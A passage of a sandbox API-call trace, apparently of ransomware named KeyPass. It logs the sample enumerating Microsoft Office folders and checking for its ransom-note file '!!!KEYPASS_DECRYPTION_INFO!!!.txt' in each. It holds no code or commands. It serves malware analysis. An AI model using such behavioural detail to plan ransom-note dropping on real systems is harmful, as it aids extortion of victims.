(pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\Smart Tag\\LISTS\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0275.843] GetFileType (hFile=0x1710) returned 0x1 [0275.844] CloseHandle (hObject=0x1710) returned 1 [0275.844] PeekMessageW (in: lpMsg=0x2e4cf58, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4cf58) returned 0 [0275.845] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501be18 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0275.845] GetLastError () returned 0x3f0 [0275.845] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0275.845] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0275.852] GetFileType (hFile=0x16fc) returned 0x1 [0275.853] CloseHandle (hObject=0x16fc) returned 1 [0275.853] PeekMessageW (in: lpMsg=0x2e4d5f8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d5f8) returned 0 [0275.853] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501c6a0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0275.853] GetLastError () returned 0x3f0 [0275.853] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\Source Engine\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\Source Engine\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0275.854] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\Source Engine\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0275.855] GetFileType (hFile=0x1718) returned 0x1 [0275.855] CloseHandle (hObject=0x1718) returned 1 [0275.855] PeekMessageW (in: lpMsg=0x2e4d5f8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d5f8) returned 0 [0275.855] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5019bf8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0275.855] GetLastError () returned 0x3f0 [0275.856] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\TEXTCONV\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\TEXTCONV\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0275.856] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\TEXTCONV\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0275.856] GetFileType (hFile=0x171c) returned 0x1 [0275.857] CloseHandle (hObject=0x171c) returned 1 [0275.857] PeekMessageW (in: lpMsg=0x2e4d5f8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d5f8) returned 0 [0275.857] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501b590 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0275.857] GetLastError () returned 0x3f0 [0275.857] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0275.857] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0275.871] GetFileType (hFile=0x1714) returned 0x1 [0275.871] CloseHandle (hObject=0x1714) returned 1 [0275.900] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0275.900] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5018260 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0275.900] GetLastError () returned 0x3f0 [0275.901] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\AFTRNOON\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\AFTRNOON\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0275.901] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\AFTRNOON\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0275.929] GetFileType (hFile=0x1724) returned 0x1 [0275.930] CloseHandle (hObject=0x1724) returned 1 [0275.930] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0275.930] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5019370 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0275.930] GetLastError () returned 0x3f0 [0275.931] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\ARCTIC\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\ARCTIC\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0275.931] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\ARCTIC\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0275.932] GetFileType (hFile=0x1728) returned 0x1 [0275.932] CloseHandle (hObject=0x1728) returned 1 [0275.932] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0275.933] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x50179d8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0275.933] GetLastError () returned 0x3f0 [0275.933] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\AXIS\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\AXIS\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0275.933] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\AXIS\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0275.933] GetFileType (hFile=0x172c) returned 0x1 [0275.934] CloseHandle (hObject=0x172c) returned 1 [0275.934] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0275.934] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5019bf8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0275.934] GetLastError () returned 0x3f0 [0275.934] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BLENDS\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BLENDS\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0275.934] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BLENDS\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0275.938] GetFileType (hFile=0x1730) returned 0x1 [0275.939] CloseHandle (hObject=0x1730) returned 1 [0275.939] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0275.939] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501a480 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0275.939] GetLastError () returned 0x3f0 [0275.939] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BLUECALM\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BLUECALM\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0275.939] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BLUECALM\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0275.980] GetFileType (hFile=0x1720) returned 0x1 [0275.981] CloseHandle (hObject=0x1720) returned 1 [0275.982] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0275.982] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5019370 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0275.982] GetLastError () returned 0x3f0 [0275.982] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BLUEPRNT\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BLUEPRNT\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0275.982] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BLUEPRNT\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0275.982] GetFileType (hFile=0x1734) returned 0x1 [0275.983] CloseHandle (hObject=0x1734) returned 1 [0275.984] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0275.984] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501be18 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0275.984] GetLastError () returned 0x3f0 [0275.984] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BOLDSTRI\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BOLDSTRI\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0275.984] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BOLDSTRI\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0275.985] GetFileType (hFile=0x1738) returned 0x1 [0275.986] CloseHandle (hObject=0x1738) returned 1 [0275.986] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0275.986] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501be18 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0275.986] GetLastError () returned 0x3f0 [0275.986] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BREEZE\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BREEZE\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0275.986] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BREEZE\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0275.990] GetFileType (hFile=0x173c) returned 0x1 [0275.992] CloseHandle (hObject=0x173c) returned 1 [0275.992] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0275.992] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501cf28 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0275.992] GetLastError () returned 0x3f0 [0275.992] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\CANYON\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\CANYON\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0275.992] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\CANYON\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0275.992] GetFileType (hFile=0x1740) returned 0x1 [0275.993] CloseHandle (hObject=0x1740) returned 1 [0275.993] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0275.993] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5019370 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0275.993] GetLastError () returned 0x3f0 [0275.994] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\CAPSULES\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\CAPSULES\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0275.994] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\CAPSULES\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0276.000] GetFileType (hFile=0x1748) returned 0x1 [0276.001] CloseHandle (hObject=0x1748) returned 1 [0276.001] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0276.001] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501be18 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0276.001] GetLastError () returned 0x3f0 [0276.001] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\CASCADE\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\CASCADE\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0276.001] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\CASCADE\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0276.002] GetFileType (hFile=0x174c) returned 0x1 [0276.003] CloseHandle (hObject=0x174c) returned 1 [0276.003] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0276.003] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501cf28 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0276.003] GetLastError () returned 0x3f0 [0276.003] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\COMPASS\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\COMPASS\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0276.003] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\COMPASS\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0276.004] GetFileType (hFile=0x1750) returned 0x1 [0276.005] CloseHandle (hObject=0x1750) returned 1 [0276.005] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0276.005] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5019370 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0276.005] GetLastError () returned 0x3f0 [0276.005] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\CONCRETE\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\CONCRETE\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0276.005] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\CONCRETE\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0276.006] GetFileType (hFile=0x1754) returned 0x1 [0276.007] CloseHandle (hObject=0x1754) returned 1 [0276.007] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0276.007] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501be18 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0276.007] GetLastError () returned 0x3f0 [0276.007] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\DEEPBLUE\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\DEEPBLUE\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0276.007] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\DEEPBLUE\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0276.008] GetFileType (hFile=0x1744) returned 0x1 [0276.009] CloseHandle (hObject=0x1744) returned 1 [0276.009] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0276.009] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5018260 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0276.009] GetLastError () returned 0x3f0 [0276.010] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\ECHO\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\ECHO\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0276.010] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\ECHO\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0276.010] GetFileType (hFile=0x1758) returned 0x1 [0276.011] CloseHandle (hObject=0x1758) returned 1 [0276.011] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0276.011] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501be18 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") 